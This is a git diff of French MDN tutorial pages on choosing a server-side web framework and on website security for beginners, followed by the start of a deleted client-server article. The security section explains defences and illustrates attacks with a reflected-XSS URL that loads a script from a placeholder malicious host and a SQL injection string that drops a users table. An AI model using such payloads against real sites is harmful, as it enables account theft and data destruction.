  • Effort d'apprentissage : L'effort d'apprentissage d'un framework web dépend de votre familiarité avec le langage de programmation sous-jacent, de la cohérence de son API, de la qualité de sa documentation ainsi que de la taille et de l'activité de sa communauté. Si vous avez peu d'eqperience en programmation, pensez à Django (l’un des plus faciles à apprendre en fonction des critères ci-dessus). Si vous faites partie d'une équipe de développement qui possède déjà une expérience significative avec un framework web ou un langage de programmation particulier, il est logique de s'en tenir à cela.
    • +
  • Productivité : la productivité mesure la rapidité avec laquelle vous pouvez créer de nouvelles fonctionnalités une fois que vous êtes familiarisé avec le framework. Elle inclut à la fois les efforts d'écriture et de maintenance du code (car vous ne pouvez pas écrire de nouvelles fonctionnalités alors que les anciennes sont endommagées). Un grand nombre des facteurs qui affectent la productivité sont similaires à ceux de "Effort d'apprentissage" - par ex. documentation, communauté, expérience en programmation, etc. - les autres facteurs incluent: +
      +
    • Objectif / origine du framework : certains frameworks web ont été créés à l'origine pour résoudre certains types de problèmes, et restent meilleurs pour créer des applications web avec des contraintes similaires. Par exemple, Django a été créé pour soutenir le développement d'un site web de journal. Il est donc bon pour les blogs et les autres sites impliquant la publication d'éléments. En revanche, Flask est un cadre beaucoup plus léger et est idéal pour créer des applications web s'exécutant sur des périphériques intégrés.
      • +
    • Populaire vs Impopulaire: Un framework populaire est un frameqork dans lequel il est recommandé de "meilleures" manières de résoudre un problème particulier. Les frameworks populaire ont tendance à être plus productifs lorsque vous essayez de résoudre des problèmes courants, car ils vous orientent dans la bonne direction, mais ils sont parfois moins flexibles.
      • +
    • Ressource incluses vs. l'obtenir vous-même : certains frameworks web incluent des outils / bibliothèques qui traitent tous les problèmes que leurs développeurs peuvent penser "par défaut", tandis que des frameworks plus légers attendent des développeurs web qu'ils choisissent la solution aux problèmes de bibliothèques séparées (Django est un exemple inclue " tout " tandis que  Flask est un exemple de framework très léger). Les frameworks qui incluent tout sont souvent plus faciles à démarrer car vous avez déjà tout ce dont vous avez besoin, et il est probable qu’il soit bien intégré et bien documenté. Cependant, si une structure plus petite contient tout ce dont vous avez besoin (le cas échéant), elle peut alors s'exécuter dans des environnements plus restreints et disposer d'un sous-ensemble de choses plus petites et plus faciles à apprendre.
      • +
    • Si le framework encourage ou non les bonnes pratiques de développement : par exemple, un cadre qui encourage une architecture Model-View-Controller où on sépare le code en fonctions logiques engendrera un code plus facile à maintenir qu'un code qui n'a pas d'attente de la part des développeurs. De même, la conception de la structure peut avoir un impact important sur la facilité de test et de réutilisation du code.
      • +
    +
    • +
  • Performances du framework/langage de programmation : généralement, la vitesse n’est pas le facteur le plus important dans la sélection car même des exécutions relativement lentes, comme Python, sont plus que suffisantes pour les sites de taille moyenne fonctionnant avec un matériel raisonnablement performant. Les avantages perçus en termes de vitesse par rapport à un autre langage comme C++ ou JavaScript peuvent être compensés par les coûts d’apprentissage et de maintenance.
    • +
  • Mise en cache : la popularité de votre site web grandit, vous constatez peut-être que le serveur ne peut plus gérer toutes les requêtes. À ce stade, vous pouvez envisager d’ajouter un support pour la mise en cache : une optimisation dans laquelle vous stockez tout ou partie de la réponse à une requête web afin qu'il ne soit pas nécessaire de la recalculer la prochaine fois. Retourner la réponse en cache à une requête est beaucoup plus rapide que d'en calculer une. La mise en cache peut être implémentée dans votre code ou sur le serveur (voir proxy inverse). Les infrastructures web auront différents niveaux de prise en charge pour définir le contenu pouvant être mis en cache.
    • +
  • Adpatation : votre site web connaît un succès fantastique, vous avez épuisé les avantages de la mise en cache, vous atteignez même les limites de la mise à l'échelle verticale (exécuter votre application Web sur un matériel plus puissant). À ce stade, il est temps de penser à une mise à l’échelle horizontale (partager la charge en répartissant votre site sur un certain nombre de serveurs web et de bases de données) ou «géographiquement», car certains de vos clients sont très éloignés de votre serveur. L'infrastructure web que vous choisissez peut faire toute la différence en termes de facilité d'adaptation de votre site.
    • +
  • Sécurité web : certains environnements web offrent une meilleure prise en charge de la gestion des attaques web courantes. Django, par exemple, supprime toutes les entrées utilisateur des modèles HTML afin que le code JavaScript saisi par l'utilisateur ne puisse pas être exécuté. D'autres frameworks offrent une protection similaire, mais celle-ci n'est pas toujours activée par défaut.
    • +
+ +

Il existe de nombreux autres facteurs possibles, y compris les licences, que le cadre soit ou non en cours de développement actif, etc.

+ +

Si vous débutez en programmation, vous choisirez probablement un framework facile à prendre en main. Une documentation riche et une communauté active sont également des critères pertinents pour votre choix. Pour la suite de ce cours, nous avons choisi Django (Python) et Express (Node/JavaScript) principalement parce que ces frameworks sont faciles à apprendre et bénéficient d'un bon soutien.

+ +
+

Note: Let's go to the main websites for Django (Python) and Express (Node/JavaScript) and check out their documentation and community.

+ +
    +
  1. Navigate to the main sites (linked above) +
      +
    • Click on the Documentation menu links (named things like "Documentation, Guide, API Reference, Getting Started".
      • +
    • Can you see topics showing how to set up URL routing, templates, and databases/models?
      • +
    • Are the documents clear?
      • +
    +
    2. +
  2. Navigate to mailing lists for each site (accessible from Community links). +
      +
    • How many questions have been posted in the last few days
      • +
    • How many have responses?
      • +
    • Do they have an active community?
      • +
    +
    3. +
+
+ +

A few good web frameworks?

+ +

Let's now move on, and discuss a few specific server-side web frameworks.

+ +

The server-side frameworks below represent a few of the most popular available at the time of writing. All of them have everything you need to be productive — they are open source, are under active development, have enthusiastic communities creating documentation and helping users on discussion boards, and are used in large numbers of high-profile websites. There are many other great server-side frameworks that you can discover using a basic internet search.

+ +
+

Note: Descriptions come (partially) from the framework websites!

+
+ +

Django (Python)

+ +

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design. Built by experienced developers, it takes care of much of the hassle of web development, so you can focus on writing your app without needing to reinvent the wheel. It’s free and open source.

+ +

Django follows the "Batteries included" philosophy and provides almost everything most developers might want to do "out of the box". Because everything is included, it all works together, follows consistent design principles, and has extensive and up-to-date documentation. It is also fast, secure, and very scalable. Being based on Python, Django code is easy to read and to maintain.

+ +

Popular sites using Django (from Django home page) include: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, Open Stack.

+ +

Flask (Python)

+ +

Flask is a microframework for Python.

+ +

While minimalist, Flask can create serious websites out of the box. It contains a development server and debugger, and includes support for Jinja2 templating, secure cookies, unit testing, and RESTful request dispatching. It has good documentation and an active community.

+ +

Flask has become extremely popular, particularly for developers who need to provide web services on small, resource-constrained systems (e.g. running a web server on a Raspberry Pi, Drone controllers, etc.)

+ +

Express (Node.js/JavaScript)

+ +

Express is a fast, unopinionated, flexible and minimalist web framework for Node.js (node is a browserless environment for running JavaScript). It provides a robust set of features for web and mobile applications and delivers useful HTTP utility methods and middleware.

+ +

Express is extremely popular, partially because it eases the migration of client-side JavaScript web programmers into server-side development, and partially because it is resource-efficient (the underlying node environment uses lightweight multitasking within a thread rather than spawning separate processes for every new web request).

+ +

Because Express is a minimalist web framework it does not incorporate every component that you might want to use (for example, database access and support for users and sessions are provided through independent libraries). There are many excellent independent components, but sometimes it can be hard to work out which is the best for a particular purpose!

+ +

Many popular server-side and full stack frameworks (comprising both server and client-side frameworks) are based on Express, including Feathers, ItemsAPI, KeystoneJS, Kraken, LoopBack, MEAN, and Sails.

+ +

A lot of high profile companies use Express, including: Uber, Accenture, IBM, etc. (a list is provided here).

+ +

Ruby on Rails (Ruby)

+ +

Rails (usually referred to as "Ruby on Rails") is a web framework written for the Ruby programming language.

+ +

Rails follows a very similar design philosophy to Django. Like Django it provides standard mechanisms for routing URLs, accessing data from a database, generating HTML from templates and formatting data as {{glossary("JSON")}} or {{glossary("XML")}}. It similarly encourages the use of design patterns like DRY ("dont repeat yourself" — write code only once if at all possible), MVC (model-view-controller) and a number of others.

+ +

There are of course many differences due to specific design decisions and the nature of the languages.

+ +

Rails has been used for high profile sites, including: Basecamp, GitHub, Shopify, Airbnb, Twitch, SoundCloud, Hulu, Zendesk, Square, Highrise.

+ +

Laravel (PHP)

+ +

Laravel is a web application framework with expressive, elegant syntax. Laravel attempts to take the pain out of development by easing common tasks used in the majority of web projects, such as:

+ + + +

Laravel is accessible, yet powerful, providing tools needed for large, robust applications.

+ +

ASP.NET

+ +

ASP.NET is an open source web framework developed by Microsoft for building modern web applications and services. With ASP.NET you can quickly create web sites based on HTML, CSS, and JavaScript, scale them for use by millions of users and easily add more complex capabilities like Web APIs, forms over data, or real time communications.

+ +

One of the differentiators for ASP.NET is that it is built on the Common Language Runtime (CLR), allowing programmers to write ASP.NET code using any supported .NET language (C#, Visual Basic, etc.). Like many Microsoft products it benefits from excellent tools (often free), an active developer community, and well-written documentation.

+ +

ASP.NET is used by Microsoft, Xbox.com, Stack Overflow, and many others.

+ +

Mojolicious (Perl)

+ +

Mojolicious is a next generation web framework for the Perl programming language.

+ +

Back in the early days of the web, many people learned Perl because of a wonderful Perl library called CGI. It was simple enough to get started without knowing much about the language and powerful enough to keep you going. Mojolicious implements this idea using bleeding edge technologies.

+ +

Some of the features provided by Mojolicious are: Real-time web framework, to easily grow single file prototypes into well-structured MVC web applications; RESTful routes, plugins, commands, Perl-ish templates, content negotiation, session management, form validation, testing framework, static file server, CGI/PSGI detection, first class Unicode support; Full stack HTTP and WebSocket client/server implementation with IPv6, TLS, SNI, IDNA, HTTP/SOCKS5 proxy, UNIX domain socket, Comet (long polling), keep-alive, connection pooling, timeout, cookie, multipart and gzip compression support; JSON and HTML/XML parsers and generators with CSS selector support; Very clean, portable and object-oriented pure-Perl API with no hidden magic; Fresh code based upon years of experience, free and open source.

+ +

Summary

+ +

This article has shown that web frameworks can make it easier to develop and maintain server-side code. It has also provided a high level overview of a few popular frameworks, and discussed criteria for choosing a web application framework. You should now have at least an idea of how to choose a web framework for your own server-side development. If not, then don't worry — later on in the course we'll give you detailed tutorials on Django and Express to give you some experience of actually working with a web framework.

+ +

For the next article in this module we'll change direction slightly and consider web security.

+ +

{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}

+ +

In this module

+ + diff --git a/files/fr/learn/server-side/first_steps/website_security/index.html b/files/fr/learn/server-side/first_steps/website_security/index.html new file mode 100644 index 0000000000..bc47ab4042 --- /dev/null +++ b/files/fr/learn/server-side/first_steps/website_security/index.html @@ -0,0 +1,162 @@ +--- +title: La sécurité d'un site Web +slug: Learn/Server-side/Premiers_pas/Website_security +tags: + - Débutant + - Guide + - Sécurité + - Sécurité Web +translation_of: Learn/Server-side/First_steps/Website_security +--- +
{{LearnSidebar}}
+ +
{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/Premiers_pas")}}
+ +

La sécurité d'un site web exige de la vigilance dans tous les aspects de sa conception et de son utilisation. Cet article d'introduction ne fera pas de vous un gourou de la sécurité des sites web, mais il vous aidera à comprendre d'où viennent les menaces et ce que vous pouvez faire pour renforcer votre application web contre les attaques les plus courantes.

+ + + + + + + + + + + + +
Pré-requis :Connaissances de base en informatique.
Objectif :Comprendre les menaces les plus courantes à la sécurité des applications web et ce que vous pouvez faire pour réduire le risque de piratage de votre site.
+ +

Qu'est-ce que la sécurité d'un site web?

+ +

Internet est un endroit dangereux ! Fréquemment, nous entendons parler de sites web devenus indisponibles en raison d'attaques par déni de service, ou affichant des informations modifiées (et souvent préjudiciables) sur leurs pages d'accueil. Dans d'autres cas, très médiatisés, des millions de mots de passe, d'adresses électroniques et de détails sur des cartes de crédit sont divulgués au public, exposant les utilisateurs du site web à la fois à l'embarras personnel et au risque de pertes financières.

+ +

L'objectif de la sécurité des sites web est de prévenir ces types d'attaques. Plus formellement, la sécurité des sites web est l'acte de protéger les sites web contre l'accès, l'utilisation, la modification, la destruction ou la perturbation non autorisées.

+ +

La sécurité efficace d'un site web nécessite un effort de conception sur l'ensemble du site : dans votre application web, dans la configuration du serveur web, dans vos politiques de création et de renouvellement des mots de passe et dans le code côté-client. Bien que tout cela semble très inquiétant, la bonne nouvelle est que si vous utilisez un framework web côté serveur, il incluera certainement par défaut des mécanismes de défense solides et bien pensés contre un certain nombre des attaques les plus courantes. D'autres attaques peuvent être atténuées grâce à la configuration de votre serveur web, par exemple en activant HTTPS. Enfin, les outils d'analyse de vulnérabilité accessibles au public peuvent vous aider à découvrir d'éventuelles erreurs dans votre conception.

+ +

Le reste de cet article détaille les menaces les plus courantes qui pèsent sur les sites web et quelques étapes simples pour protèger votre site.

+ +
+

Note : ceci est un article d'introduction, conçu pour vous aider à réflechir à la sécurité de votre site web. Il n'est en rien exhaustif.

+
+ +

Menaces visant la sécurité des sites web

+ +

Cette section n'énumère que quelques-unes des menaces les plus courantes visant les sites web et la façon dont elles sont tenues à distance. À mesure que vous lisez, notez comment les menaces apparaissent lorsque l'application web fait confiance ou n'est pas assez méfiante vis-à-vis des données provenant du navigateur !

+ +

Cross-Site Scripting (XSS)

+ +

XSS est un terme utilisé pour décrire une classe d'attaque qui permet à l'attaquant d'injecter des scripts, exécutés côté-client, au travers du site web pour viser le navigateur web des autres utilisateurs. Comme le code injecté provient du site web le navigateur web le considère comme sûr, il peut de ce fait faire des choses comme transmettre le cookie d'authentification de l'utilisateur à l'attaquant. Une fois que l'attaquant obtient ce cookie il peut se connecter sur le site comme si il était l'utilisateur attaqué et peut faire tout ce que l'utilisateur pourrait faire. En fonction du site sur lequel l'attaque se produit, cela peut inclure l'accès aux détails de carte bancaire, les informations des contacts, la modification du mot de passe, etc.

+ +
+

Note : les vulnérabilités XSS ont historiquement été les plus courantes.

+
+ +

Il y a deux manières principales pour demander au site de retourner un script injecté vers un navigateur web — elles sont désignées en tant que vulnérabilités XSS réfléchie et persistante.

+ +
    +
  • Une vulnérabilité XSS  réfléchie se produit quand le contenu de l'utilisateur transmis au serveur est immédiatement retourné, sans avoir été modifié, pour être affiché dans le navigateur — tout les scripts présents dans le contenu d'origine seront exécutés quand la nouvelle page sera chargée!
    + On prendra par exemple une fonction de recherche dans un site où les termes recherchés sont encodés en tant que paramètres dans l'URL, et que ces termes sont affichés en permanence avec les résultats. Un attaquant peut construire un lien de recherche contenant un script malicieux en tant que paramètre (ex: http://mysite.com?q=beer<script%20src="http://sitedangereux.com/malicieux.js"></script>) et le transmettre par e-mail à un autre utilisateur. Si l'utilisateur ciblé clique sur ce "lien intéressant", le script sera exécuté quand les résultats de la recherche seront affichés. Comme vu auparavant, cela donne à l'attaquant toute les informations dont il a besoin pour se connecter sur le site avec le compte de la victime — potentiellement faire des achats en tant que cet utilisateur ou accèder à la liste de contacts..
    • +
  • Une vulnérabilité XSS persistante sera celle où le script malicieux est stocké sur le site web puis affiché, sans modification, un peu plus tard par les autres utilisateurs et exécuté à leur insu.
    + Par exemple, un écran de discussion qui accepte les commentaires contenant du code HTML pur peuvent stocker le script malicieux de l'attaquant. Quand les commentaires sont affichés le script est exécuté et peut ensuite transmettre à l'attaquant les informations nécessaires pour accèder au compte de l'utilisateur. Cette méthode d'attaque est extrêmement courante et efficace, parce que l'attaquant n'a pas besoin d'avoir une relation directe avec les victimes.
    +
    + Alors que l'envoi de données avec POST ou GET est la source la plus commune de vulnérabilité XSS, toute donnée en provenance du navigateur web est potentiellement vulnérable (cela inclut l'affichage des données des cookies par le navigateur, ou les fichiers de l'utilisateur qui sont chargés et affichés).
    • +
+ +

La meilleur défense contre les vulnérabilités XSS est de supprimer ou désactiver toutes les balises qui peuvent potentiellement contenir des instructions pour exécuter du code. Pour HTML cela inclut les tags comme <script>, <object>, <embed>, et <link>.

+ +
+

Il est nécessaire de traiter les données saisies par l'utilisateur pour être sûr qu'il ne puisse ni exécuter de scripts ni pertuber le fonctionnement normal du site (ce procédé est appelé input sanitization en anglais). De nombreux frameworks proposent par défaut cette vérification sur les entrées des formulaires.

+
+ +

Injection SQL

+ +

L'injection SQL est une vulnérabilité qui permet à un attaquant d'exécuter du code SQL frauduleux sur une base de données, permettant l'accès, la modification ou la suppression des données quelque soit le droit de l'utilisateur. Une attaque par injection réussie peut permettre l'usurpation d'un compte, la création d'un compte avec les droits administrateur, l'accès à toute les données du serveur, ou la modification / destruction des données pour le rendre inutilisable.

+ +

Cette vulnérabilité est présente quand la saisie de l'utilisateur est transmise à une requête SQL sous-jacente qui peut modifier le sens de la requête. Par exemple, dans le code ci-dessous qui devrait lister l'ensemble des utilisateurs avec un nom particulier (userName) et qui provient d'un formulaire HTML:

+ +
statement = "SELECT * FROM users WHERE name = '" + userName + "';"
+ +

Si l'utilisateur entre un nom correct cela marchera comme voulu. Cependant un utilisateur malveillant peut changer complètement le sens de cette requête SQL pour obtenir la requête qui suit, simplement en ajoutant le texte, en gras ci dessous, en tant que nom, cette requête, modifiée, va créer une requête SQL valide qui va supprimer la table users et sélectionner toute les données de la table userinfo (révèlant les informations de chaque utilisateur). Tout cela est rendu possible à cause du début du texte injecté  ('a';) qui va complèter la requête d'origine (' est le symbole pour délimiter une chaine de texte en SQL).

+ +
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';
+
+ +

Le moyen pour éviter ce type d'attaque est de s'assurer que toute saisie de l'utilisateur transmise à une requête SQL ne peut pas changer la nature de cette requête. Un moyen de faire cela est d'échapper tous les caractères de la saisie utilisateur quand ils ont un sens particulier en SQL.

+ +
+

Note : la requête SQL considère le symbole ' comme le début et la fin d'une chaine de texte. En ajoutant le caractère \ nous allons "échapper" ce symbole, et dire à SQL de le traiter comme une simple partie de la chaîne de caractères.

+
+ +

Dans la requête ci-dessous nous avons échappé le caractère '. Le SQL va donc interpréter la chaine complète (en gras) comme un nom (un nom étrange en effet, mais pas nuisible).

+ +
SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t';
+
+
+ +

Les frameworks web se chargent bien souvent d'échapper ces caractères à votre place. Django, par exemple, s'assure que toute saisie d'un utilisateur transmise au modèle est bien échappée.

+ +
+

Note: Cette section s'inspire beaucoup des informations de Wikipedia ici.

+
+ +

Falsification de requête inter-sites (CSRF)

+ +

Les attaques CSRF permettent à un utilisateur malveillant d'éxécuter des actions à l'a ide des identifiants d'un autre utilisateur sans que cet utilisateur ne soit informé ou consentant.

+ +

Ce type d'attaque s'explique mieux avec un exemple. John est l'utilisateur malveillant qui sait qu'un site particulier permet à des utilisateurs authentifiés d'envoyer de l'argent vers un compte particulier en utilisant des requêtes HTTP POST qui incluent le numéro de compte et le montant. John construit un formulaire qui inclut son numéro de compte et un montant dans des champs cachés (invisibles) et le transmet à un autre utilisateur du site (avec le bouton de validation déguisé en un lien vers un site "pour devenir riche".

+ +

Si un utilisateur clique sur le bouton de validation, une requête HTTP POST, contenant les informations de transaction, va être transmise au serveur ainsi que le cookie que le navigateur web associe au site (l'ajout à la requête du cookie associé au site est le comportement normal du navigateur). Le serveur va vérifier le cookie d'authentification, et l'utiliser pour déterminer si l'utilisateur est ou n'est pas connecté et donc permet ou non la transaction.

+ +

Au final tout utilisateur qui va cliquer sur le bouton de validation, alors qu'il sera connecté sur le site d'échange d'argent, va autoriser la transaction. John va devenir riche !

+ +
+

Note : l'astuce ici est que John n'a pas besoin d'accéder aux cookies de l'utilisateur (ou à ses identifiants), le navigateur web stocke cette information et l'inclut automatiquement dans toute les requêtes destinées au serveur associé.

+
+ +

Un moyen de prévenir ce type d'attaque est que le serveur demande que chaque requête POST possède un secret généré par le serveur et spécifique à l'utilisateur (le secret serait transmis par le serveur lors de l'envoi du formulaire de transaction). Cette approche empêche John de créer son propre formulaire car il n'est pas capable de connaitre le secret que le serveur founit à l'utilisateur. Même si il venait à trouver ce secret et créer un formulaire pour un utilisateur particulier, il ne pourrait pas utiliser ce formulaire pour attaquer d'autres utilisateurs

+ +

Les framework web incluent souvent des mécanismes afin de prévenir les attaques CSRF.

+ +

Autre menaces

+ +

Les autres attaques et vulnérabilités courantes incluent:

+ +
    +
  • Clickjacking. Dans cette attaque un utilisateur malveillant détourne les clics destinés à un site visible et les envoie dans une page cachée en dessous. Cette technique peut être utilisée, par exemple, pour afficher le site légitime d'une banque mais capturer les identifiants d'authentification dans une <iframe> invisible controlée par l'attaquant. Sinon cela peut être utilisé pour obtenir de l'utilisateur qu'il clique sur le bouton visible d'un site, mais en le faisant il va en fait cliquer involontairement sur un bouton différent. Comme défense, votre site peut se prévenir d'être inclut dans une iframe d'un autre site en configurant les bonnes en-têtes HTTP.
    • +
  • Déni de Service (DoS). Le déni de service est souvent pratiqué en surchargeant de fausses requêtes un site cible avec afin que l'accès au site soit perturbé pour les usagers légitimes. Les requêtes peuvent simplement être nombreuses, ou elles peuvent individuellement nécessiter une grande quantité de ressource (ex: chargement de fichiers lourds, etc). La défense contre cette attaque se base souvent sur l'identification et le blocage du mauvais trafic tout en autorisant l'arrivée des messages légitimes. Ces défenses sont généralement intégrées ou en amont du serveur web (elle ne font pas partie de l'application web).
    • +
  • Découverte via la navigation dans les répertoires et fichiers. Dans cette famille d'attaque un utilisateur malveillant va tenter d'accèder aux fichiers du serveur web auxquels il ne devrait pas avoir accès. Cette vulnérabilité se produit quand l'utilisateur peut transmettre le nom d'un fichier qui comprend les caractères de navigation dans le système de fichier (par exemple: ../../). La solution est de désinfecter la saisie avant de l'utiliser.
    • +
  • Inclusion de fichiers. Dans cette attaque un utilisateur est capable de spécifier un fichier "involontaire" pour être affiché ou exécuté dans les données transmises au serveur. Une fois chargé ce fichier peut être exécuté sur le serveur web ou du côté client (menant à une attaque XSS). La solution est de vérifier les saisies avant de les utiliser.
    • +
  • Injection de commandes. Les attaques par injection de commande permettent à un utilisateur malveillant d'exécuter des commandes systèmes frauduleuses sur le système hôte. La solution est de vérifier chaque saisie des utilisateurs avant de les utiliser dans les appels systèmes.
    • +
+ +

Il y en a beaucoup d'autres. Pour une liste plus exhaustive vous pouvez consulter la catégorie failles de sécurité Web (Wikipedia) et la catégorie Attaques (du projet OWASP).

+ +

Quelques messages clés

+ +

La majorité des attaques citées précédement réusissent lorsque l'application web fait confiance aux données provenant du navigateur web. Quoique vous fassiez d'autre pour améliorer la sécurité de votre site web, vous devez désinfecter toutes les saisies des utilisateurs avant de les afficher, de les utiliser dans les requêtes SQL ou de les transmettre dans les appels du système ou du système de fichier.

+ +
+

Important : la leçon la plus importante à retenir concernant la sécurité d'un site web est de ne jamais faire confiance aux données du navigateur web. Cela comprend les requêtes GET avec la présence des paramètres dans l'URL, les données envoyées avec les POST, les en-têtes HTTP, les cookies, les fichiers chargés par l'utilisateur, etc. Il faut toujours vérifier et assainir les données. Il faut toujours s'attendre au pire.

+
+ +

Quelques autres points que vous pouvez mettre en place :

+ +
    +
  • Utilisez une politique de gestion des mots de passe efficace. Encouragez les mots de passe solides avec leur renouvellement fréquent. Prenez en compte une authentification à deux facteurs sur votre site (l'utilisateur, en plus du mot de passe, devra fournir un autre code d'authentification généralement fourni par un matériel physique, que seul l'utilisateur possède, comme un code envoyé sur le téléphone par SMS).
    • +
  • Configurez vos serveurs web pour utiliser HTTPS et HTTP Strict Transport Security (HSTS). HTTPS chiffre les données transmises entre le client et le serveur. Cela garantit que les données d'authentification, les cookies, les données transistant avec POST et les informations d'en-têtes deviennent moins disponibles pour l'attaquant.
    • +
  • Tenez vous informé des dernières menaces (la liste actuelle d'OWASP est ici) et préoccupez vous toujours des vulnerabilités les plus courantes en premier.
    • +
  • Utilisez des outils de recherche de vulnérabilités  pour faire automatiquement des recherches de bug sur votre site (votre site pourra également proposer un programme de buf bounty pour déceler des bugs, comme le fait Mozilla ici).
    • +
  • Ne stockez et n'affichez que les données nécessaires. Par exemple, si votre utilisateur doit stocker des données sensibles comme des informations bancaires, affichez seulement ce qui sera suffisant pour être identifié par l'utilisateur, mais pas suffisament pour être copié par un attaquant et être utilisé sur un autre site. La méthode la plus courante en ce moment est de n'afficher que les quatre derniers chiffres du numéro de carte bancaire.
    • +
+ +

Les frameworks web peuvent aider à atténuer beaucoup des vulnérabilités les plus courantes.

+ +

Résumé

+ +

Cet article a présenté le concept de sécurité web et quelques-unes des menaces courantes vis-à-vis desquelles il faut se protéger. Le plus important à comprendre est qu'une application web ne peut pas faire confiance aux données provenant du navigateur ! Les données des utilisateurs doivent toutes être nettoyées avant d'être affichées ou utilisées dans les requêtes SQL ou dans les appels systèmes.

+ +

C'est la fin de ce module, couvrant vos premiers pas dans le développement d'un site web côté serveur. Nous espérons que vous avez apprécié apprendre les concepts fondamentaux. Vous êtes désormais apte à choisir un framework web et à commencer à programmer.

+ +

{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}

diff --git a/files/fr/learn/server-side/premiers_pas/client-serveur/index.html b/files/fr/learn/server-side/premiers_pas/client-serveur/index.html deleted file mode 100644 index f20b96e64d..0000000000 --- a/files/fr/learn/server-side/premiers_pas/client-serveur/index.html +++ /dev/null @@ -1,316 +0,0 @@ ---- -title: La relation Client-Serveur -slug: Learn/Server-side/Premiers_pas/Client-Serveur -translation_of: Learn/Server-side/First_steps/Client-Server_overview ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}
- -

Maintenant que vous connaissez le but et le bénéfice de la programmation côté serveur, nous allons analyser en détails ce qui se passe quand un serveur reçoit une requête dynamique de la part d'un navigateur. Comme la plupart des sites gèrent le code côté serveur (requêtes et réponses) de la même manière, cela vous aidera à comprendre ce que vous devrez faire ensuite en écrivant votre propre code.

- - - - - - - - - - - - -
Prérequis :Compréhension basique des notions informatiques et de ce qu'est un serveur web.
Objectif :Comprendre les interactions client-serveur sur un site dynamique et particulièrement quelles opérations devront être effectuées par le code côté serveur.
- -

Il n'y a pas de code "réel" dans la suite de cette présentation parce que nous n'avons pas encore choisi un framework web à utiliser pour écrire notre code ! Ce tutoriel est quand même trés pertinent car les comportements décrits doivent être implémentés par votre code côté serveur, sans qu'il ait à se soucier (le serveur...)   de quel langage de programmation ou framework vous vous servez.

- -

Serveurs Web et HTTP (un avant-goût)

- -

Les navigateurs web communiquent avec les serveurs web avec le protocole HTTP : HyperTextTransfer Protocol. Quand vous cliquez un lien sur une page, soumettez un formulaire ou lancez une recherche, le navigateur envoie une requête HTTP (HTTP Request) au serveur.

- -

Cette requête inclut :

- -
    -
  • Une URL identifiant la cible et la ressource (un fichier HTML, un point particulier de données sur le serveur ou un outil à lancer).
    • -
  • Une méthode qui définit l'action requise ( par exemple récupérer un fichier ou sauvegarder certaines données ou mises à jour). Les différentes méthodes/verbes et les actions associées sont listées ci-dessous : -
      -
    • GET: Récupérer une ressource spécifique, par exemple un fichier html contenant des informations sur un produit ou une liste de produits.
      • -
    • POST: Crée une ressource comme un nouvel article dans un wiki, ajouter un contact dans une base de données, enregistrer les données d'un formulaire d'inscription...
      • -
    • -

      HEAD: Récupérer les informations "metadata" d'une ressource spécifique sans le "body" comme ferait GET. Vous pouvez utiliser une requête HEAD pour, par exemple, la date de dernière mise à jour d'une ressource puis, utiliser GET (plus "coûteuse") seulement si la ressource a été changée.

      -
      • -
    • PUT: Met à jour une ressource existante ou en crée une si elle n'existe pas.
      • -
    • DELETE: Supprime la ressource spécifiée.
      • -
    • TRACE, OPTIONS, CONNECT, PATCH: ces verbes sont utilisés pour des tâches moins communes ou plus avancées nous ne les couvrirons donc pas ici.
      • -
    -
    • -
  • Des informations complémentaires peuvent être encodées avec la requête (des données de formulaire HTML par exemple). Ces informations peuvent être encodées comme : -
      -
    • Paramètres URL : les requêtes  GET encodent les données dans l'URL envoyée au serveur en ajoutant des paires nom/valeur en fin de celle-ci. Exemple : http://mysite.com?name=Fred&age=11.    Il y a toujours un point d'interrogation (?) séparant le début de l'URL des paramètres passés. Ainsi qu'un signe égal (=) séparant le nom de la valeur associée et une esperluette (&) séparant chaque paire. Les paramètres URL ne sont pas sécurisés car ils peuvent être changés et soumis une deuxième fois par l'utilisateur. Pour cette raison, les requêtes URL paramètres/GET requests ne sont pas utilisées pour des requêtes mettant à jour des données sur un serveur.
      • -
    -
    • -
  • POST data.  Les requêtes POST ajoutent de nouvelles ressources dont les données sont encodées dans le corps de la requête.
    • -
  • Cookies côté Client.  Contient les données de session du client, incluant les clés dont peut se servir le serveur pour déterminer le statut de login et les accés/permissions aux ressources.
    • -
- -

Les serveurs Web attendent une requête du client puis la traitent quand elle arrive. Il répond ensuite au navigateur avec un message HTTP Response. La réponse contient un statut HTTP Response indiquant si, oui ou non, la requête a abouti. (ex : "200 OK" pour un succés, "404 Not Found" si la ressource ne peut être trouvée, "403 Forbidden" si l'utilisateur n'est pas autorisé à voir la ressource etc. Le corps d'une réponse aboutie à une requête  GET contiendrait la ressource demandée.

- -

Quand une page HTML est retournée, elle est affichée par le navigateur. Le navigateur, nativement, pourra découvrir des liens vers d'autres ressources (ex : une page HTML intégre habituellement des pages JavaScript et CSS ), et enverra des requêtes séparées pour télécharger ces fichiers.

- -

Les sites web dynamiques ou statiques (voir sections suivantes) utilisent les mêmes protocoles/modèles de communication.

- -

Exemple de requête/réponse GET 

- -

Vous faites une simple requête GET en cliquant sur un lien ou en faisant une recherche sur un site (sur une page de moteur de recherche par exemple). Une requête HTTP envoyée lorsque vous effectuez une recherche sur MDN pour les termes : "La relation Client-Serveur" ressemblera beaucoup à ce qui suit mais ne sera pas identique car des parties du message dépendent des paramètres de votre navigateur.

- -
-

Le format des messsages HTTP est défini par un standard web  (RFC7230). Vous n'avez pas besoin de connaître ce niveau de détails mais vous saurez au moins d'où vient tout ça !

-
- -

La requête

- -

Chaque ligne de la requête contient des informations sur celle-ci. La première partie est appelée l'en-tête ( header) et contient beaucoup de données utiles. De la même manière qu'un HTML head contient des informations utiles (pas le contenu réel qui lui, se trouve dans le corps (body) :

- -
